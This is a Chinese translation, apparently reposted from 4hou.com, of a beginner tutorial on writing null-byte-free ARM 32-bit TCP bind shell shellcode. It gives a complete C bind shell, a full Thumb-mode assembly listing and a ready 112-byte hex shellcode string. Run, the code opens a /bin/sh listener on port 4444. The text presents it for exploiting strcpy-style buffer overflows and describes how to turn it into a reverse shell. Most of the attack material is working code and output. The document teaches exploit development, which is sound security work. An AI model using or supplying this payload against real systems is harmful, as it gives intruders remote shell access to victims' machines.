標籤:

用彙編語言(ARM 32位)編寫TCP Bind Shell的菜鳥教程

在本教程中,你將學習如何編寫不包含null位元組的tcp_bind_shell,並且可以用作shellcode測試漏洞可利用性。

閱讀完本教程之後,你不僅能學會如何編寫將shell綁定到本地埠的shellcode,還會了解如何編寫shellcode。從bind shellcode到reverse shellcode只需更改1-2個函數,一些參數,但大多數情況下都是一樣的。編寫一個bind或reverse shell比創建一個簡單的execve()shell要困難得多。如果你想從小處著手,可以學習如何用彙編語言編寫一個簡單的execve()shell,然後再深入到本文更加廣泛的教程中。如果你需要複習一下Arm assembly,請參閱我的ARM Assembly Basics教程系列,或 者使用下面這種備忘單:

在開始之前,我想提醒大家的是,我們正在創建的是ARM shellcode,需要建立一個ARM實驗室環境。可以自己設置(QEMU Emulate Raspberry Pi )或節省時間,可以下載我創建好的實驗室VM(ARM Lab VM)。

了解細節

首先,什麼是bind shell?它是如何工作的?使用bind shell,可以在目標機器上打開通信埠或偵聽器。然後偵聽器等待傳入連接,你連接它,偵聽器便會接受連接,並允許你shell訪問目標系統。

這與Reverse Shell的工作方式不同。使用reverse shell,你可以讓目標機器與自己的機器進行通信。在這種情況下,你的機器有一個偵聽器埠,它接收來自目標系統的連接。

這兩種類型的shell都有各自的優點和缺點,這取決於目標環境。例如,目標網路的防火牆不能阻擋傳出鏈接,更容易阻擋傳入鏈接。這意味著你的bind shell將在目標系統上綁定一個埠,但是由於傳入連接被阻擋,你將無法連接到它。因此在某些情況下,最好有一個reverse shell能夠利用防火牆不阻擋傳出連接的錯誤配置。如果你學會了如何編寫bind shell,那麼也就學會了如何編寫reverse shell。將彙編代碼轉換成reverse shell,只需要幾處修改就能實現。

要將bind shell的功能轉換為彙編的,我們首先需要熟悉bind shell的過程

1. 創建一個新的TCP 套接字 (socket)

2. 將socket綁定到本地埠

3. 偵聽傳入的連接

4. 接受傳入的連接

5. 將STDIN、STDOUT和STDERR重定向到客戶端新創建的socket

6. 生成shell

下面是我們用來翻譯的C代碼。

#include <stdio.h> n#include <sys/types.h> n#include <sys/socket.h> n#include <netinet/in.h> nint host_sockid; // socket file descriptor nint client_sockid; // client file descriptor nstruct sockaddr_in hostaddr; // server aka listen addressnint main() n{ n // Create new TCP socket n host_sockid = socket(PF_INET, SOCK_STREAM, 0); n // Initialize sockaddr struct to bind socket using it n hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol addressn hostaddr.sin_port = htons(4444); // server port, converted to network byte ordern hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte ordern // Bind socket to IP/Port in sockaddr struct n bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); n // Listen for incoming connections n listen(host_sockid, 2); n // Accept incoming connection n client_sockid = accept(host_sockid, NULL, NULL); n // Duplicate file descriptors for STDIN, STDOUT and STDERR n dup2(client_sockid, 0); n dup2(client_sockid, 1); n dup2(client_sockid, 2); n // Execute /bin/sh n execve("/bin/sh", NULL, NULL); n close(host_sockid); n return 0; n}n

第一階段:系統函數及其參數

第一步是識別必要的系統函數、參數和系統調用號。查看上面的C代碼,可以看到,我們需要以下函數:socket, bind, listen, accept, dup2, execve。你可以使用以下命令來計算這些函數的系統調用號:

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socketn#define __NR_socketcall (__NR_SYSCALL_BASE+102)n#define __NR_socket (__NR_SYSCALL_BASE+281)n#define __NR_socketpair (__NR_SYSCALL_BASE+288)n#undef __NR_socketcalln

_NR_SYSCALL_BASE的值是0:

root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/n/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0n

以下是我們需要的所有syscall調用號:

#define __NR_socket (__NR_SYSCALL_BASE+281)n#define __NR_bind (__NR_SYSCALL_BASE+282)n#define __NR_listen (__NR_SYSCALL_BASE+284)n#define __NR_accept (__NR_SYSCALL_BASE+285)n#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)n#define __NR_execve (__NR_SYSCALL_BASE+ 11)n

每個函數期望參數都可以在linux man頁面或者w3challs.com中查看。

下一步是算出這些參數的具體值。一種計算方法是使用strace查看一個成功的bind shell 連接。strace是一個工具,可以用來跟蹤系統調用,並且監視進程與Linux內核之間的交互。讓我們使用strace來測試bind shell的C語言版本。為了減少噪音,我們將輸出限制為我們感興趣的函數。

Terminal 1:npi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_testnpi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_testnTerminal 2:npi@raspberrypi:~ $ netstat -tlpnnProto Recv-Q Send-Q Local Address Foreign Address State PID/Program namentcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - ntcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test npi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444nConnection to 0.0.0.0 4444 port [tcp/*] succeeded!n

這是strace輸出:

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_testnexecve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0nsocket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3nbind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0nlisten(3, 2) = 0naccept(3, 0, NULL) = 4ndup2(4, 0) = 0ndup2(4, 1) = 1ndup2(4, 2) = 2nexecve("/bin/sh", [0], [/* 0 vars */]) = 0n

現在,我們可以填充空白,並記下需要傳遞給彙編bind shell函數的值。

第二步:逐步編譯

在第一階段,我們回答了以下問題,以獲取彙編程序所需要的所有東西:

1.我需要哪些函數?

2.這些函數的系統調用號是多少?

3.這些函數的參數是什麼?

4.這些參數的值是多少?

這一步是關於應用這些知識並將其轉換為彙編。將每個函數拆分為一個單獨的塊,並重複以下過程:

1.標出參數所使用的寄存器

2.找出如何將所需值( required value)傳遞給寄存器

1.如何將立即數(immediate value)傳遞給寄存器

2.如何在不直接將#0移入的情況下取消寄存器(我們需要避免代碼中的null位元組,因此必須找到其他方法來取消寄存器或內存中的值)。

3.如何將寄存器指向內存中存儲常量和字元串的區域

3.使用正確的系統調用號來調用函數,並跟蹤寄存器內容的變化

1.記住,系統調用的結果將落在r0中,這意味著萬一你需要在另一個函數中重用該函數的結果,則需要在調用函數之前將其保存到另一個寄存器中。

2.示例:host_sockid = socket(2, 1, 0) –socket調用的結果(host_sockid) 將在r0中。這個結果在其他函數中重用,比如listen(host_sockid, 2),因此應該保存在另一個寄存器中。

0-切換到Thumb模式

首先使用Thumb模式,以減少使用null位元組的可能性。在Arm模式下,指令是32位的,在Thumb模式下是16位。這意味著我們可以通過簡單地減小指令的大小來減少使用null位元組的情況。回顧一下如何切換到Thumb模式:ARM指令必須是4位元組對齊的。將模式從ARM轉換到Thumb,通過將1添加到PC寄存器的值,並將其保存到另一個寄存器中,把下一個指令地址(在PC中發現)的LSB(Least Significant Bit)設置為1。然後使用一個BX(分支和交換)指令來分支到另一個寄存器中,該寄存器包含LSB設置為1的下一條指令的地址。這一操作使得處理器切換到Thumb模式。上述所有操作都歸結為以下兩個指令。

.section .textn.global _startn_start:n .ARMn add r3, pc, #1 n bx r3n

從這裡開始,你將編寫Thumb代碼,因此需要在你編寫的代碼中使用.THUMB指令表明這一點。

1-新建一個Socket

這些是我們需要的socket調用參數的值:

root@raspberrypi:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/n/usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP n/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-basedn/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family. n/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INETn

設置好參數之後,你可以使用svc指令調用socket系統調用。此調用的結果將是host_sockid,並將以r0結束。因為稍後我們需要host_sockid,把它保存到r4中。

在ARM中,不能簡單地將任何立即數(immediate value)移動到寄存器中。如果你對這一細微差別有更多的興趣,在Memory Instructions章節中有一個章節(在最後)介紹了這一差別。

為了檢查是否可以使用某個立即數(immediate value),我編寫了一個很小的腳本(代碼不完美,可以不看),叫做rotator.py。

pi@raspberrypi:~/bindshell $ python rotator.pynEnter the value you want to check: 281nSorry, 281 cannot be used as an immediate number and has to be split.npi@raspberrypi:~/bindshell $ python rotator.pynEnter the value you want to check: 200nThe number 200 can be used as a valid immediate number.n50 ror 30 --> 200npi@raspberrypi:~/bindshell $ python rotator.pynEnter the value you want to check: 81nThe number 81 can be used as a valid immediate number.n81 ror 0 --> 81n

最後的代碼片段:

.THUMBn mov r0, #2n mov r1, #1n sub r2, r2, r2n mov r7, #200n add r7, #81 // r7 = 281 (socket syscall number) n svc #1 // r0 = host_sockid value n mov r4, r0 // save host_sockid in r4n

2 -將Socket綁定到本地埠

使用第一個指令,我們將一個包含地址家族、主機埠和主機地址的結構對象存儲在文字池裡,並使用pc-relative定址(程序計數器相對定址法)引用這個對象。文字池是同一部分的內存區域(因為文字池是代碼的一部分),其中存儲了常量、字元串或偏移量。你可以使用帶有標籤的ADR指令,而不是手動計算pc相對偏移量。ADR接受一個PC-relative表達式,也就是說,具有一個可選偏移量的標籤,其標籤地址與PC標籤有關。情況如下:

// bind(r0, &sockaddr, 16)n adr r1, struct_addr // pointer to address, portn [...]nstruct_addr:n.ascii "x02xff" // AF_INET 0xff will be NULLed n.ascii "x11x5c" // port number 4444 n.byte 1,1,1,1 // IP Addressn

接下來的5個指令是STRB(存儲位元組)指令。STRB指令將一個位元組從寄存器存儲到一個計算內存區域。語法[r1, #1] 表示我們將r1作為基本地址,立即數(immediate value )(#1) 作為偏移量。

在第一個指令中,我們將R1指向內存區域,在該內存區域存儲了地址家族AF_INET的值、我們想要使用的本地埠和IP地址。我們可以使用靜態IP地址,也可以指定0.0.0.0使我們的bind shell監聽目標配置的所有IP,使我們的shellcode更加便攜。現在有很多null位元組。

同樣,我們想要避免使用null位元組的原因是為了使我們的shellcode對於漏洞利用是可用的,即利用內存損壞那些可能對null位元組敏感的漏洞。一些緩衝區溢出是由於不合理地使用「strcpy」這樣的函數而造成的。strcpy的工作是複製數據直到它接收到一個null位元組。我們使用溢出來控制程序流,如果strcpy遇到一個null位元組,它將停止複製我們的shellcode,我們的開發將無法工作。使用strb指令,我們從寄存器中獲取一個null位元組,並在執行期間修改我們自己的代碼。這樣,在我們的shellcode中實際上沒有一個null位元組,只是動態地將其放在那裡。這就要求代碼部分是可寫的,並且可以通過在鏈接過程中添加-N標誌來實現。

出於這個原因,我們在沒有null位元組的情況下進行編碼,並在需要的地方動態地放置一個null位元組。正如在下個圖片中所看到的,我們指定的IP地址是1.1.1.1,在執行期間將被0.0.0.0替換。

第一個STRB指令在x02xff中用x00替換佔位符xff,以便將AF_INET設置為x02 x00。我們如何知道它是一個被存儲的null位元組?由於「r2,r2,r2」的指令清除了寄存器,因此r2中包含0。接下來的4個指令用0.0.0.0代替1.1.1.1。除了在strb r2, [r1, #1]之後的四個strb指令,你還可以使用一個單獨的str r2, [r1, #4]來完成一個完整的0.0.0.0編寫。

移動指令將sockaddr_in結構性長度的位元組長度(AF_INET 2位元組,PORT 2位元組,ipaddress 4位元組,8位元組填充,總共16位元組)放到r2中。然後,我們通過將1添加到r7,將其設置為282,因為r7已經包含了從最後一個syscall中獲得的281。

// bind(r0, &sockaddr, 16)n adr r1, struct_addr // pointer to address, portn strb r2, [r1, #1] // write 0 for AF_INETn strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1n strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1n strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1n strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.xn mov r2, #16n add r7, #1 // r7 = 281+1 = 282 (bind syscall number) n svc #1n nopn

3-listen傳入的連接

在這裡我們把以前保存的host_sockid放入 r0。將r1設置為2,r7隻是增加了2,因為它還包含從最後一個syscall中獲得的282(系統調用)。

mov r0, r4 // r0 = saved host_sockid nmov r1, #2nadd r7, #2 // r7 = 284 (listen syscall number)nsvc #1n

4-accept輸入連接

同樣,我們將保存的host_sockid放到r0。由於我們想要避免使用null位元組,所以我們使用的不是直接將#0移動到r1和r2中,而是通過將r1和r2彼此想減來將它們設置為0。r7隻增加了1。此調用的結果將是client_sockid,我們將其保存在r4中,因為我們之後不再需要保存在r4中的host_sockid(我們將跳過調用C代碼中的關閉函數)。

mov r0, r4 // r0 = saved host_sockid n sub r1, r1, r1 // clear r1, r1 = 0n sub r2, r2, r2 // clear r2, r2 = 0n add r7, #1 // r7 = 285 (accept syscall number)n svc #1n mov r4, r0 // save result (client_sockid) in r4n

5 – STDIN、STDOUT和STDERR

對於dup2函數,我們需要syscall調用號63。先前保存的client_sockid需要再次進入r0,並且子指令將r1設為0。剩下的兩個dup2調用,我們只需要改變r1並且在每次系統調用之後將r0重置為client_sockid。

/* dup2(client_sockid, 0) */n mov r7, #63 // r7 = 63 (dup2 syscall number) n mov r0, r4 // r4 is the saved client_sockid n sub r1, r1, r1 // r1 = 0 (stdin) n svc #1n/* dup2(client_sockid, 1) */n mov r0, r4 // r4 is the saved client_sockid n add r1, #1 // r1 = 1 (stdout) n svc #1n/* dup2(client_sockid, 2) */n mov r0, r4 // r4 is the saved client_sockidn add r1, #1 // r1 = 1+1 (stderr) n svc #1n

6-生成shell

// execve("/bin/sh", 0, 0) n adr r0, shellcode // r0 = location of "/bin/shX"n eor r1, r1, r1 // clear register r1. R1 = 0n eor r2, r2, r2 // clear register r2. r2 = 0n strb r2, [r0, #7] // store null-byte for AF_INETn mov r7, #11 // execve syscall numbern svc #1n nopn

我們在本例中使用的execve()函數遵循的過程與Writing ARM Shellcode教程中的相同,都是一步一步地進行解釋。

最後,我們將值AF_INET(0xff將被null替換)、埠號、IP地址以及「/bin/sh」字元串,放在我們彙編代碼的結尾的。

struct_addr:n.ascii "x02xff" // AF_INET 0xff will be NULLed n.ascii "x11x5c" // port number 4444 n.byte 1,1,1,1 // IP Address nshellcode:n.ascii "/bin/shX"n

最終的彙編代碼

這就是我們編好的bind shellcode。

.section .textn.global _startn _start:n .ARMn add r3, pc, #1 // switch to thumb mode n bx r3n .THUMBn// socket(2, 1, 0)n mov r0, #2n mov r1, #1n sub r2, r2, r2 // set r2 to nulln mov r7, #200 // r7 = 281 (socket)n add r7, #81 // r7 value needs to be split n svc #1 // r0 = host_sockid valuen mov r4, r0 // save host_sockid in r4n// bind(r0, &sockaddr, 16)n adr r1, struct_addr // pointer to address, portn strb r2, [r1, #1] // write 0 for AF_INETn strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1n strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1n strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1n strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.xn mov r2, #16 // struct address lengthn add r7, #1 // r7 = 282 (bind) n svc #1n nopn// listen(sockfd, 0) n mov r0, r4 // set r0 to saved host_sockidn mov r1, #2 n add r7, #2 // r7 = 284 (listen syscall number) n svc #1 n// accept(sockfd, NULL, NULL); n mov r0, r4 // set r0 to saved host_sockidn sub r1, r1, r1 // set r1 to nulln sub r2, r2, r2 // set r2 to nulln add r7, #1 // r7 = 284+1 = 285 (accept syscall)n svc #1 // r0 = client_sockid valuen mov r4, r0 // save new client_sockid value to r4 n// dup2(sockfd, 0) n mov r7, #63 // r7 = 63 (dup2 syscall number) n mov r0, r4 // r4 is the saved client_sockid n sub r1, r1, r1 // r1 = 0 (stdin) n svc #1n// dup2(sockfd, 1)n mov r0, r4 // r4 is the saved client_sockid n add r1, #1 // r1 = 1 (stdout) n svc #1n// dup2(sockfd, 2) n mov r0, r4 // r4 is the saved client_sockidn add r1, #1 // r1 = 2 (stderr) n svc #1n// execve("/bin/sh", 0, 0) n adr r0, shellcode // r0 = location of "/bin/shX"n eor r1, r1, r1 // clear register r1. R1 = 0n eor r2, r2, r2 // clear register r2. r2 = 0n strb r2, [r0, #7] // store null-byte for AF_INETn mov r7, #11 // execve syscall numbern svc #1n nopnstruct_addr:n.ascii "x02xff" // AF_INET 0xff will be NULLed n.ascii "x11x5c" // port number 4444 n.byte 1,1,1,1 // IP Address nshellcode:n.ascii "/bin/shX"n

測試shellcode

將你的彙編代碼保存到一個名為bind_shell.s的文件中。在使用ld時不要忘記-N標誌,原因是我們使用了多個strb操作來修改我們的代碼段(.text)。這就要求代碼部分是可寫的,並且在鏈接過程中可以通過添加-N標誌來實現。

pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell

pi@raspberrypi:~/bindshell $ ./bind_shell

然後,連接到你的指定埠:

pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444

Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

uname -a

Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

Shellcode可以正常運行!使用以下命令將它轉換成十六進位字元串:

pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin

pi@raspberrypi:~/bindshell $ hexdump -v -e """x" 1/1 "%02x" "" bind_shell.bin

x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58

我們成功編寫了bind shellcode!這個shellcode長112位元組。由於這是一個初學者教程,為了使教程比較簡單易懂,所以並沒有將shellcode編寫的它所能達到的最短。在完成初級shellcode編寫之後,你可以嘗試找到減少指令數量的方法,從而使shellcode更短。

希望通過本文你學會了一些東西,並且能夠運用這些知識來編寫自己的shellcode任意變體。

如若轉載,請註明原文地址: 4hou.com/info/news/9959


推薦閱讀:

這個名叫「潮蟲」的黑客團隊有點不一樣 囊括多國外交信息
NO.2 第一個月 我感覺我即將成為一名腳本小子
乾貨 || 保護內網安全之Windows工作站安全基線開發(一)
「世界末日」級蠕蟲永恆之石 利用7個NSA漏洞
新的移動惡意軟體利用分層混淆瞄準俄羅斯銀行

TAG:信息安全 |